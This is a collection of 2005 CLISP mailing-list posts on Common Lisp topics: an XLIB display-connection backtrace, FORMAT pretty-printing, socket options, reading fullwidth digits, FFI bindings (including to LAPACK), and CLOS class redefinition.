<10> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP>
- #<XLIB:CONNECTION-FAILURE #x204D0456>
<11> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<12> #<SYSTEM-FUNCTION ERROR> 11
frame binding variables (~ = dynamically):
  | ~ SYSTEM::*PRIN-STREAM* <--> #<UNBOUND>
frame binding variables (~ = dynamically):
  | ~ *PRINT-READABLY* <--> NIL
frame binding variables (~ = dynamically):
  | ~ *PRINT-ESCAPE* <--> T
- #<XLIB:CONNECTION-FAILURE #x204D0456>
- #<SYSTEM-FUNCTION ERROR>
- #<COMPILED-FUNCTION XLIB::X-ERROR>
- 
(:MAJOR-VERSION 11 :MINOR-VERSION 0 :HOST "localhost" :DISPLAY 0 :REASON
 "No protocol specified
")
- XLIB:CONNECTION-FAILURE
<13> #<COMPILED-FUNCTION XLIB::X-ERROR>
- NIL
- NIL
- NIL
- 0
- 11
- 22
- NIL
- 
#(78 111 32 112 114 111 116 111 99 111 108 32 115 112 101 99 105 102 105 101 100
  10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...
  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
unwind-protect frame
- 
#S(XLIB::REPLY-BUFFER :SIZE 4096
   :IBUF8
   #(78 111 32 112 114 111 116 111 99 111 108 32 115 112 101 99 105 102 105 101
     100 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...
     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0)
   :NEXT NIL :DATA-SIZE 0)
- #<COMPILED-FUNCTION XLIB::DISPLAY-CONNECT>
- ""
- ""
- #<XLIB:DISPLAY localhost:0 ( R0)>
<14> #<COMPILED-FUNCTION XLIB::DISPLAY-CONNECT>
unwind-protect frame
- NIL
- #<XLIB:DISPLAY localhost:0 ( R0)>
- #<IO INPUT-BUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 127.0.0.1:6000>
- #<COMPILED-FUNCTION XLIB:OPEN-DISPLAY>
- ""
- ""
- NIL
- 0
- "localhost"
<15> #<COMPILED-FUNCTION XLIB:OPEN-DISPLAY>
- #<COMPILED-FUNCTION XLIB:OPEN-DISPLAY>
EVAL frame for form (XLIB:OPEN-DISPLAY "localhost")
- #<IO TERMINAL-STREAM>
- #<IO TERMINAL-STREAM>
<16> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
frame binding variables (~ = dynamically):
  | ~ SYSTEM::*ACTIVE-RESTARTS* <--> NIL
compiled tagbody frame for #(NIL)
- 87
- #(NIL NIL)
Printed 16 frames
Break 1 [5]> 

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-09 21:44:30 +0200]:
>
>> > ??? How can I specify the missing protocol?

did you try OPEN-DEFAULT-DISPLAY?
I think it worked for me...

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> >> > ??? How can I specify the missing protocol?
> 
> did you try OPEN-DEFAULT-DISPLAY?
> I think it worked for me...

Well, what worked was: (xlib:open-display "").

Otherwise, (xlib:open-default-display) works ok.


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clisp from CVS head, mingw

May be change in doc/clisp.h from clisp.bat to clisp.exe:

<dt><span><strong
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> May be change in doc/clisp.h from clisp.bat to clisp.exe:
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Date: Wed May 11 09:25:35 2005
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Hello,

I probably do something wrong, but format refuses to obey newlines in
pretty printing:

[47]> (setf *print-right-margin* 10)
10
[48]> (format t "~<~{~W~^-~_~}~:>~%" '(1 2 3 4 5 6 7 8 9 0))
1-2-3-4-5-6-7-8-9-0
NIL

Print-pretty is set. All works as I expect when using formatter:
[53]> (formatter "~<~{~W~^-~_~}~:>~%")
(...)
[54]> (funcall * *standard-output* '((1 2 3 4 5 6 7 8 9 0)))
1-
2-
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5-
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9-
0
NIL
[57]> *print-pretty*
T

Where is the problem? Using clisp 2.33.2 on Linux, as well as
2.33.something on Windows.

Best regards,
Tomas Zellerin


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jka-compr-build-file-regexp should be preloaded now, in jka-cmpr.el.
Please try recompiling the Lisp files and rebuilding Emacs
and see if the problem goes away.


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John Sampson <jrs.idx@ntlworld.com> writes:

> I am trying to install this according to the instructions on the page
> in the Common Lisp Cookbook that is available on the Internet.
> However, although I have installed Clisp and Emacs apparently
> successfully, Ilisp does not install.

You might like to try slime instead of ilisp.

http://home.comcast.net/~bc19191/blog/040704.html

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Hi,

I am writing tiny socket server that processes a lot of small requests (5-10
characters) and as result of each request -answers with a simple string -
average 100-150 characters.

Becasue of the small requests (ans answers) - I observe a lot of delays in
the TCP/IP stack (on Win32 & Linux) - consequence of so called Nagle
algorithm and the delayed ACK.

The recommendations in such cases is to set TCP_NODEALY on the socket (which
turns of the Nagle algorithm). After I traced SOCKET-STATUS function to the
source code - it seems the TCP_NODELAY is not supported?

Am I right?
How difficult it will be to add it (I do not have experience with the source
code base of CLISP).

BR
    Vlado Tzankov



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> * vlado tzankov <igmnaxbi@tznvy.pbz> [2005-05-12 10:03:25 +0300]:
>
> The recommendations in such cases is to set TCP_NODEALY on the socket
> (which turns of the Nagle algorithm). After I traced SOCKET-STATUS
> function to the source code - it seems the TCP_NODELAY is not
> supported?

I think what needs to be modified is SOCKET-OPTIONS, not SOCKET-STATUS.

in fact, I think we should move SOCKET-OPTIONS away from the core.

the only question is to where - syscalls or rawsock?

syscalls is always available, and SOCKET-OPTIONS is applicable to
SOCKET-STREAMs, so it is _useful_ to keep it in a BASE_MODULE.

OTOH, rawsock is the more logical location for SOCKET-OPTIONS.

The "ultimate solution" is to move SOCKET-OPTIONS to rawsock and make
rawsock a BASE_MODULE (except that rawsock implements very rarely used
functionality, albeit rather portably).

what do people think?

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[384]> (digit-char-p #\５) ; == #\FULLWIDTH_DIGIT_FIVE
5
[385]> (digit-char-p #\１) ; == #\FULLWIDTH_DIGIT_ONE
1
[386]> ５�１５

*** - EVAL: variable ５�１５ has no value

[389]> ５

*** - EVAL: variable ５ has no value


While the standard doesn't specify clearly anything about non standard
characters, it seems to me that if (digit-char-p #\５) is true, then ５
should read as the integer 5, and ５�１５ should read as the ratio
1/3.  The same for all the other digit-chars in the charsets...



Extracts from CLHS:
----------------------------------------

2.3.1 Numbers as Tokens

When a token is read, it is interpreted as a number or symbol. The
token is interpreted as a number if it satisfies the syntax for
numbers specified in the next figure.

numeric-token  ::=  integer |
				   ratio   |
				   float       
integer        ::=  [sign]
				   decimal-digit+
				   decimal-point |
				   [sign]
				   digit+      
ratio          ::=  [sign]
				   {digit}+
				   slash
				   {digit}+    
float          ::=  [sign]
				   {decimal-digit}*
				   decimal-point
				   {decimal-digit}+
				   [exponent]  
                    | 
				   [sign]
				   {decimal-digit}+
				   [decimal-point
					   {decimal-digit}*]
				   exponent    
exponent       ::=  exponent-marker
				   [sign]
				   {digit}+    
                                       
sign---a sign.                         
slash---a slash                        
decimal-point---a dot.                        
exponent-marker---an exponent marker.                        
decimal-digit---a digit in radix 10.                        
digit---a digit in the current input radix.                        

Figure 2-9. Syntax for Numeric Tokens

----------------------------------------

digit n. (in a radix) a character that is among the possible digits (0
to 9, A to Z, and a to z) and that is defined to have an associated
numeric weight as a digit in that radix. See Section 13.1.4.6 (Digits
in a Radix).

----------------------------------------

13.1.4.4 Numeric Characters

The numeric characters are a subset of the graphic characters. Of the
standard characters, only these are numeric characters:

0 1 2 3 4 5 6 7 8 9

For each implementation-defined graphic character that has no case,
the implementation must define whether or not it is a numeric
character. 

----------------------------------------

13.1.4.6 Digits in a Radix

What qualifies as a digit depends on the radix (an integer between 2
and 36, inclusive). The potential digits are:

0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Their respective weights are 0, 1, 2, ... 35. In any given radix n,
only the first n potential digits are considered to be digits. For
example, the digits in radix 2 are 0 and 1, the digits in radix 10 are
0 through 9, and the digits in radix 16 are 0 through F.

Case is not significant in digits; for example, in radix 16, both F
and f are digits with weight 15. 

----------------------------------------

Function DIGIT-CHAR-P

Syntax:

digit-char-p char &optional radix => weight

Arguments and Values:

char---a character.

radix---a radix. The default is 10.

weight---either a non-negative integer less than radix, or false.

Description:

Tests whether char is a digit in the specified radix (i.e., with a
weight less than radix). If it is a digit in that radix, its weight is
returned as an integer; otherwise nil is returned. 

----------------------------------------


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Hi,

I have a C function that returns char ** (an array of strings).

How do I declare this return type in FFI:DEF-CALL-OUT?

I'm trying something like

(def-call-out mysql_fetch_row
   (:language :stdc)
   (:library "libmysqlclient.so")
   (:return-type (C-PTR C-STRING))
   (:arguments (result FFI:C-POINTER)))

which returns the first string allright, but how do I retrieve the other 
strings? Suppose I knew the array held 2 strings, I thought

(:return-type (C-ARRAY (C-PTR C-STRING) 2))

or perhaps

(:return-type (C-ARRAY C-STRING 2))

would probably work, but they don't seem to.

What's the correct way to do this?

Thanks,

T.


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Nevermind -- I figured it out:

(:return-type (c-ptr (c-array c-string 2)))

does the trick, returning an array of 2 strings.

Sorry for bothering, and thanks anyways,

Theo.


Theo Doukas wrote:
> Hi,
> 
> I have a C function that returns char ** (an array of strings).
> 
> How do I declare this return type in FFI:DEF-CALL-OUT?
> 
> I'm trying something like
> 
> (def-call-out mysql_fetch_row
>   (:language :stdc)
>   (:library "libmysqlclient.so")
>   (:return-type (C-PTR C-STRING))
>   (:arguments (result FFI:C-POINTER)))
> 
> which returns the first string allright, but how do I retrieve the other 
> strings? Suppose I knew the array held 2 strings, I thought
> 
> (:return-type (C-ARRAY (C-PTR C-STRING) 2))
> 
> or perhaps
> 
> (:return-type (C-ARRAY C-STRING 2))
> 
> would probably work, but they don't seem to.
> 
> What's the correct way to do this?
> 
> Thanks,
> 
> T.
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this is an interesting question.
why don't you raise it on c.l.l?

> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-14 13:55:58 +0200=
]:
>
> [384]> (digit-char-p #\=EF=BC=95) ; =3D=3D #\FULLWIDTH_DIGIT_FIVE
> 5
> [385]> (digit-char-p #\=EF=BC=91) ; =3D=3D #\FULLWIDTH_DIGIT_ONE
> 1
> [386]> =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95
>
> *** - EVAL: variable =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95 has no value
>
> [389]> =EF=BC=95
>
> *** - EVAL: variable =EF=BC=95 has no value
>
>
> While the standard doesn't specify clearly anything about non standard
> characters, it seems to me that if (digit-char-p #\=EF=BC=95) is true, th=
en =EF=BC=95
> should read as the integer 5, and =EF=BC=95=EF=BC=8F=EF=BC=91=EF=BC=95 sh=
ould read as the ratio
> 1/3.  The same for all the other digit-chars in the charsets...
>
>
>
> Extracts from CLHS:
> ----------------------------------------
>
> 2.3.1 Numbers as Tokens
>
> When a token is read, it is interpreted as a number or symbol. The
> token is interpreted as a number if it satisfies the syntax for
> numbers specified in the next figure.
>
> numeric-token  ::=3D  integer |
> 				   ratio   |
> 				   float=20=20=20=20=20=20=20
> integer        ::=3D  [sign]
> 				   decimal-digit+
> 				   decimal-point |
> 				   [sign]
> 				   digit+=20=20=20=20=20=20
> ratio          ::=3D  [sign]
> 				   {digit}+
> 				   slash
> 				   {digit}+=20=20=20=20
> float          ::=3D  [sign]
> 				   {decimal-digit}*
> 				   decimal-point
> 				   {decimal-digit}+
> 				   [exponent]=20=20
>                     |=20
> 				   [sign]
> 				   {decimal-digit}+
> 				   [decimal-point
> 					   {decimal-digit}*]
> 				   exponent=20=20=20=20
> exponent       ::=3D  exponent-marker
> 				   [sign]
> 				   {digit}+=20=20=20=20
>=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
> sign---a sign.=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20
> slash---a slash=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20
> decimal-point---a dot.=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20
> exponent-marker---an exponent marker.=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20
> decimal-digit---a digit in radix 10.=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20
> digit---a digit in the current input radix.=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20
>
> Figure 2-9. Syntax for Numeric Tokens
>
> ----------------------------------------
>
> digit n. (in a radix) a character that is among the possible digits (0
> to 9, A to Z, and a to z) and that is defined to have an associated
> numeric weight as a digit in that radix. See Section 13.1.4.6 (Digits
> in a Radix).
>
> ----------------------------------------
>
> 13.1.4.4 Numeric Characters
>
> The numeric characters are a subset of the graphic characters. Of the
> standard characters, only these are numeric characters:
>
> 0 1 2 3 4 5 6 7 8 9
>
> For each implementation-defined graphic character that has no case,
> the implementation must define whether or not it is a numeric
> character.=20
>
> ----------------------------------------
>
> 13.1.4.6 Digits in a Radix
>
> What qualifies as a digit depends on the radix (an integer between 2
> and 36, inclusive). The potential digits are:
>
> 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
>
> Their respective weights are 0, 1, 2, ... 35. In any given radix n,
> only the first n potential digits are considered to be digits. For
> example, the digits in radix 2 are 0 and 1, the digits in radix 10 are
> 0 through 9, and the digits in radix 16 are 0 through F.
>
> Case is not significant in digits; for example, in radix 16, both F
> and f are digits with weight 15.=20
>
> ----------------------------------------
>
> Function DIGIT-CHAR-P
>
> Syntax:
>
> digit-char-p char &optional radix =3D> weight
>
> Arguments and Values:
>
> char---a character.
>
> radix---a radix. The default is 10.
>
> weight---either a non-negative integer less than radix, or false.
>
> Description:
>
> Tests whether char is a digit in the specified radix (i.e., with a
> weight less than radix). If it is a digit in that radix, its weight is
> returned as an integer; otherwise nil is returned.=20
>
> ----------------------------------------
>
>
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In the following code i see very different behavior from CMUCL
and CLISP.  Can someone tell me which is the correct behavior?

In CMUCL, I see both the primary method being called and also 
the after method.  However, from CLISP only the primary method
seems to be called.

thanks
-jim


(defpackage "FOO"
  (:use "COMMON-LISP")
  (:export "FUN"
	   "MIXIN-FOO"))
(in-package foo)
(defclass mixin-foo nil nil)
(defclass class-foo (mixin-foo) nil)
(defgeneric fun (x))
(defmethod fun ((x class-foo))
  (fresh-line)
  (format t "hello from fun~%")
  (finish-output))


(defpackage "BAR"
  (:use "FOO"
	"COMMON-LISP"))
(in-package bar)
(defclass class-bar nil nil)
(defmethod fun :after ((x class-bar))
  (fresh-line)
  (format t "hello from after fun~%")
  (finish-output))

;; redefine class class-foo
(defclass mixin-foo (class-bar)
  nil)

(in-package foo)
(fun (make-instance 'class-foo))




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+ Jim Newton <jimka@agora.rdrop.com>:

| In the following code i see very different behavior from CMUCL
| and CLISP.  Can someone tell me which is the correct behavior?

I am no expert, but I'll wager that CMUCL is right.  Let the experts
pick my reasoning apart if they disagree.

| In CMUCL, I see both the primary method being called and also 
| the after method.  However, from CLISP only the primary method
| seems to be called.

First, off, I think all the package stuff in the example is totally
incidental.  Nowhere do I see a potential naming conflict between
symbols here.  So, stripped to essentials, the example is

| (defclass mixin-foo nil nil)
| (defclass class-foo (mixin-foo) nil)
| (defgeneric fun (x))
| (defmethod fun ((x class-foo)) ...)
| 
| (defclass class-bar nil nil)
| (defmethod fun :after ((x class-bar)) ...)
| 
| ;; redefine class class-foo
| (defclass mixin-foo (class-bar) nil)
| 
| (fun (make-instance 'class-foo))

So before the redifinition, the class hiearchy is

mixin-foo
  class-foo   <-- primary fun method applicable
class-bar     <-- :after fun method applicable

while afterwards, it is

class-bar     <-- :after fun method applicable
  mixin-foo
    class-foo <-- primary fun method applicable

I think the following extract from CLHS, about defclass, is pertinent:

  If a class with the same proper name already exists and that class
  is an instance of standard-class, and if the defclass form for the
  definition of the new class specifies a class of class
  standard-class, the existing class is redefined, and instances of it
  (and its subclasses) are updated to the new definition at the time
  that they are next accessed. For details, see Section 4.3.6
  (Redefining Classes).

Section 4.3.6 only specifies what happens to :reader, :writer or
:accessor methods, not what happens to user supplied methods.  But
surely, in that case removing such methods seems unwarranted.  Also,

  Redefining a class modifies the existing class object to reflect the
  new class definition; it does not create a new class object for the
  class.

This indicates to me very strongly that any methods defined before the
change will not only still be there, but they will be applicable to
the redefined class, since the class object really is the same.  And
so, presumably, the associated type is still the same.

- Harald


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> * Jim Newton <wvzxn@ntben.eqebc.pbz> [2005-05-15 06:51:49 -0700]:
>
> In the following code i see very different behavior from CMUCL
> and CLISP.  Can someone tell me which is the correct behavior?
>
> In CMUCL, I see both the primary method being called and also 
> the after method.  However, from CLISP only the primary method
> seems to be called.

current CVS head:

;; Loading file ../../bugs/jimka.lisp ...
hello from fun
hello from after fun
;; Loaded file ../../bugs/jimka.lisp

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Hello all,

I want to access some LAPACK code to solve linear systems, and I found
the following problem: in my version (Debian, 2.33.2), I use the
:library keyword to link to liblapack, but:

1) liblapack needs libblas2, which itself needs libf2c (alternatively,
you may choose some equivalent g77 library);=20
yes, this is written in Fortran !
There is no way to link at the same time several libraries, but there
is a trick (see code at the end)

2) When you happen for solving problem 1) to force clisp to
dlopen a chain of libraries, as clisp uses flag RTLD_NOW only,=20
the loading of previous libraries are forgotten. In addition, all undefined
symbols MUST be resolved at linking time.

3) LAPACK happens in case of failure to STOP the program; it would be
good to have a way to intercept it to the condition system.

So I ended up with a clisp version having replaced RTLD_NOW with
RTLD_LAZY|RTLG_GLOBAL.

Then, the following code works, with problems 1) and 2) solved.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
;;; -*- Mode:Lisp; Syntax: Common-lisp; Package: LAPACK; Base:10; Lowercase=
: Yes -*-

(in-package :user)

#+clisp
(setf custom:*floating-point-contagion-ansi* t
      custom:*warn-on-floating-point-contagion* nil)

(eval-when (:compile-toplevel :load-toplevel :execute)
	   (common-lisp-controller:clc-require :infix))

#+cmu
(eval-when (:load-toplevel :execute)
	   (load-foreign "/usr/lib/liblapack.so" :libraries '("-lblas2" "-lf2c")))

(defpackage :lapack
  (:use :common-lisp #+cmu :alien #+cmu :c-call #+clisp :ffi)
  (:export :dgesv))

(in-package :lapack)

;;; FFI

#+clisp
(ffi:def-call-out s_copy
  (:name "s_copy")
  (:return-type nil)
  (:language :stdc)
  (:library "libf2c.so.2"))

#+clisp
(ffi:def-call-out idamax_
  (:name "idamax_")
  (:return-type nil)
  (:language :stdc)
  (:library "libblas2.so"))

#+clisp
(ffi:def-call-out dgesv
  (:name "dgesv_")
  (:return-type nil)
  (:language :stdc)
  (:library "liblapack.so")
  (:arguments (n (ffi:c-ptr int))
	      (nrhs (ffi:c-ptr int))
	      (a ffi:c-pointer)
	      (lda (ffi:c-ptr int))
	      (ipiv ffi:c-pointer)
	      (b ffi:c-pointer)
	      (ldb (ffi:c-ptr int))
	      (info (ffi:c-ptr int) :in-out)))
#+cmu
(def-alien-routine ("dgesv_" dgesv)
  void
  (n (* int))
  (nrhs (* int))
  (a (* double-float))
  (lda (* int))
  (ipiv (* int))
  (b (* double-float))
  (ldb (* int))
  (info (* int)))

(defvar mat3 (make-array '(3 3) :element-type 'double-float :initial-conten=
ts
			 '((1.02729d9 1.61398d9 1.42116d9)
			   (1.05044d9 1.45891d9 2.02499d9)
			   (2.89555d8 2.60287d7 2.03739d9))))
(defvar x3 (make-array 3 :element-type 'double-float :initial-contents=20
		       '(1.44563d9 1.41769d9 6.75019d8)))

(defun solve (matrice y)
  "R=E9solution d'un syst=E8me lin=E9aire avec 'dgesv' de Lapack"
  (declare (type (array double-float 2) matrice))
  (declare (type (array double-float 1) y))
  (let ((n (array-dimension matrice 0)))
    (unless (and
	     (=3D 1 (array-rank y))
	     (=3D 2 (array-rank matrice))
	     (=3D n (array-dimension matrice 0) (array-dimension y 0)))
      (error "matrice pas carr=E9e ou dimension second membre incorrecte"))
    #+cmu
    (let ((ipiv-alien (make-alien int n))
	  (x-alien (make-alien double-float n))
	  (mat-alien (make-alien double-float (* n n))))
      (unwind-protect
	  (progn
	    (dotimes (i n)
	      (dotimes (j n)
		(setf (deref mat-alien (+ i (* n j))) (aref matrice i j))))
	    (dotimes (i n)
	      (setf (deref x-alien i) (aref y i)))
	    (with-alien ((dim int)
			 (nrhs int)
			 (lda int)
			 (ldb int)
			 (info int))
	      (setf dim n)
	      (setf nrhs 1)
	      (setf lda n)
	      (setf ldb n)
	      (dgesv (addr dim) (addr nrhs) mat-alien
		     (addr lda) ipiv-alien x-alien (addr ldb) (addr info))
	      (let ((resul (make-array `(,n) :element-type 'double-float)))
		(dotimes (i n (values resul (=3D info 0)))
		  (setf (aref resul i) (deref x-alien i))))))
	(free-alien ipiv-alien)
	(free-alien x-alien)
	(free-alien mat-alien)))
    #+clisp
    (with-foreign-object (mat-alien `(ffi:c-array double-float ,(* n n)))
      (with-foreign-object (x-alien `(ffi:c-array double-float ,n))
        (with-foreign-object (ipiv-alien `(ffi:c-array int ,n))
	  (dotimes (i n)
	    (dotimes (j n)
	      (setf (element (foreign-value mat-alien) (+ i (* n j)))=20
		    (aref matrice i j))))
	  (dotimes (i n)
	    (setf (element (foreign-value x-alien) i) (aref y i)))
	  (with-c-var (n 'int n)
	    (with-c-var (nrhs 'int 1)
	      (with-c-var (lda 'int n)
                (with-c-var (ldb 'int n)
	          (with-c-var (info 'int 123)
		    (multiple-value-bind (info)
                       (dgesv n nrhs (foreign-address mat-alien)
			      lda (foreign-address ipiv-alien)=20
			      (foreign-address x-alien) ldb info)
		       (let ((resul (make-array `(,n)=20
						:element-type 'double-float)))
			 (dotimes (i n (values resul (=3D info 0)))
			   (setf (aref resul i)=20
				 (element (foreign-value x-alien) i)))))))))))))
    ))

(defun main (n)
  (let ((mat (make-array `(,n ,n) :element-type 'double-float))
	(x (make-array `(,n) :element-type 'double-float)))
    (dotimes (i n)
      (dotimes (j n)
	#I(mat[i,j] =3D !(coerce (random 2147483647) 'double-float))))
    (dotimes (i n)
 	#I(x[i] =3D !(coerce (random 2147483647) 'double-float)))
    (let ((resul (solve mat x))
	  (qualite 0)
	  (norm 0))
      (dotimes (i n)
	(let ((tmp 0))
	  (dotimes (j n)=20
	    #I(tmp +=3D mat[i,j]*resul[j]))
	  #I(qualite +=3D (tmp - x[i])*(tmp - x[i]))
	  #I(norm +=3D x[i]*x[i])))
	 (format t "~% Qualite : ~a ~a~%"=20
		 (sqrt (/ qualite norm n)) resul))))

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Notice that it works also for CMUCL, and you can see the differences
of handling the FFI problem from the syntactic point of
view. (I have heard about a UFFI for clisp, how advanced is this ?)

What I am suggesting for future version of FFI in clisp is to have a
more natual way to link several libraries at once, and to have the
various RTLD_* as an option.

Any comments from the clisp developers and users ?

--=20

Bernard Urban


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Bernard (Reini??) Urban wrote:
>I want to access some LAPACK code to solve linear systems, and I found
>the following problem: in my version (Debian, 2.33.2), I use the
>:library keyword to link to liblapack, but:

>1) liblapack needs libblas2, which itself needs libf2c (alternatively,
>you may choose some equivalent g77 library);=20

I stumbled upon this (IIRCC with libGLUT or some such, while trying to =
test I forgot what). One PC (Suse linux 8 or 9) failed to load the =
library, the other (Ubuntu Debian) worked.

I analyzed it and came to the conclusion that the libxxx were broken, =
because they did not tell which other libraries they depend on.
IIRC, ldd on the library failed on the broken system, as a symptom.

Of course, that's not the answer a user wants to hear, but I have to go =
home now. I also haven't looked at the code, but I have been knowing =
for >10 years that CMUCL had the option to link in a list of libraries =
and wondered how CLISP could do without it. Libraries knowing =
themselves where to get what they depend on seemed TRT to me.

So you're just the first to hit the dust, man.

Regards,
	J=F6rg.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Bernard (Reini??) Urban wrote:

No, not the same person.

>>I want to access some LAPACK code to solve linear systems, and I found
>>the following problem: in my version (Debian, 2.33.2), I use the
>>:library keyword to link to liblapack, but:
>
>>1) liblapack needs libblas2, which itself needs libf2c (alternatively,
>>you may choose some equivalent g77 library); 
>
> I stumbled upon this (IIRCC with libGLUT or some such, while trying to test I forgot what). One PC (Suse linux 8 or 9) failed to load the library, the other (Ubuntu Debian) worked.
>
> I analyzed it and came to the conclusion that the libxxx were broken, because they did not tell which other libraries they depend on.

In case of lapack, this is probably voluntary, as there are several
blas libraries available, and you may want to specify a given one. The
same is true for the underlying Fortran library (f2c and g77 at least
are available). 

[...]

Regards.

-- 

Bernard Urban


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Hi,

Bernard Urban wrote:

>(I have heard about a UFFI for clisp, how advanced is this ?)
Feel free to go to the patches section of Sourceforge for clisp. =
Download my code from there.
I should update the site since I added some functions to my code since =
then.

>#+clisp
>(ffi:def-call-out s_copy
>  (:library "libf2c.so.2"))
>
>#+clisp
>(ffi:def-call-out idamax_
>  (:library "libblas2.so"))

Instead of declaring dummy functions just so to get the library opened,
You could try out ffi:foreign-library instead (oops, it appears it's =
not exported from FFI, so use ffi::foreign-library
(defparameter *fortran-lib* (ffi::foreign-library "libmyf77.so"))

Yet maybe declaring functions is better, because I forgot what happens =
in case
a) the library pointer is gc'ed (if you don't store it some place)
b) you save the image and restart from that.

>In case of lapack, this is probably voluntary, as there are several
>blas libraries available, and you may want to specify a given one. The
>same is true for the underlying Fortran library (f2c and g77 at least
>are available).=20
Ok, so really you need dlopen() to look at symbols also in libraries =
previously loaded.
What do you need RTLD_LAZY for?

I'll comment another time on your code. For that, I'd appreciate a URL =
to the documentation for the functions you unterface to.

Regards,
	J=F6rg H=F6hle.


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Hi,

here are some comments about the code, both for CMUCL and CLISP.

Bernard Urban wrote:
>(defpackage :lapack
>  (:use :common-lisp #+cmu :alien #+cmu :c-call #+clisp :ffi)

>#+clisp
>(ffi:def-call-out s_copy
Why do you insist on using the ffi prefix with clisp, but not with =
cmucl? Your packages uses the respective ffi/alien+c-call packages =
already.

>#+clisp
>(ffi:def-call-out dgesv
>  (:name "dgesv_")
>  (:return-type nil)
>  (:language :stdc)
>  (:library "liblapack.so")
>  (:arguments (n (ffi:c-ptr int))
>	      (nrhs (ffi:c-ptr int))
>	      (a ffi:c-pointer)
>	      (lda (ffi:c-ptr int))
>	      (ipiv ffi:c-pointer)
>	      (b ffi:c-pointer)
>	      (ldb (ffi:c-ptr int))
>	      (info (ffi:c-ptr int) :in-out)))

From the documentation I saw, info is :out only.

>#+cmu
>(def-alien-routine ("dgesv_" dgesv)
>  void
>  (n (* int))
>  (nrhs (* int))
>  (a (* double-float))
>  (lda (* int))
>  (ipiv (* int))
>  (b (* double-float))
>  (ldb (* int))
>  (info (* int)))

cmucl also has :out parameter modes. Why don't you use it?
cmucl and clisp have comparable :out features and behaviour.

I found these paegs with incomplete documentation:
http://www.kudpc.kyoto-u.ac.jp/HPC-WG/Manual/lapack/dgesv.html
http://www.physics.utah.edu/~detar/phycs6720/handouts/lapack.html
They show that info is an :out parameter.

>(defvar mat3 (make-array '(3 3) :element-type 'double-float=20
>:initial-contents
>			 '((1.02729d9 1.61398d9 1.42116d9)
>			   (1.05044d9 1.45891d9 2.02499d9)
>			   (2.89555d8 2.60287d7 2.03739d9))))
>(defvar x3 (make-array 3 :element-type 'double-float :initial-contents =

>		       '(1.44563d9 1.41769d9 6.75019d8)))
>
>(defun solve (matrice y)
>  "R=E9solution d'un syst=E8me lin=E9aire avec 'dgesv' de Lapack"
>  (declare (type (array double-float 2) matrice))
>  (declare (type (array double-float 1) y))
>  (let ((n (array-dimension matrice 0)))
>    (unless (and
>	     (=3D 1 (array-rank y))
>	     (=3D 2 (array-rank matrice))
>	     (=3D n (array-dimension matrice 0) (array-dimension y 0)))

you certainly meant (array-dimension matrice 1)

>      (error "matrice pas carr=E9e ou dimension second membre=20
>incorrecte"))
>    #+cmu
>    (let ((ipiv-alien (make-alien int n))
>	  (x-alien (make-alien double-float n))
>	  (mat-alien (make-alien double-float (* n n))))
>      (unwind-protect
>	  (progn
>	    (dotimes (i n)
>	      (dotimes (j n)
>		(setf (deref mat-alien (+ i (* n j))) (aref=20
>matrice i j))))
>	    (dotimes (i n)
>	      (setf (deref x-alien i) (aref y i)))
>	    (with-alien ((dim int)
>			 (nrhs int)
>			 (lda int)
>			 (ldb int)
>			 (info int))
>	      (setf dim n)
>	      (setf nrhs 1)
>	      (setf lda n)
>	      (setf ldb n)

This can be rewritten more readably IMHO as
(with-alien ((dim int n)
             (lda int n)
             (nrhs int 1) ...)

>	      (dgesv (addr dim) (addr nrhs) mat-alien
>		     (addr lda) ipiv-alien x-alien (addr ldb)=20
>(addr info))
>	      (let ((resul (make-array `(,n) :element-type=20
>'double-float)))
>		(dotimes (i n (values resul (=3D info 0)))
>		  (setf (aref resul i) (deref x-alien i))))))

The documentation I saw seems to suggest that info is a success =
indicator. Thus, you should only dereference output variables in case =
of success:
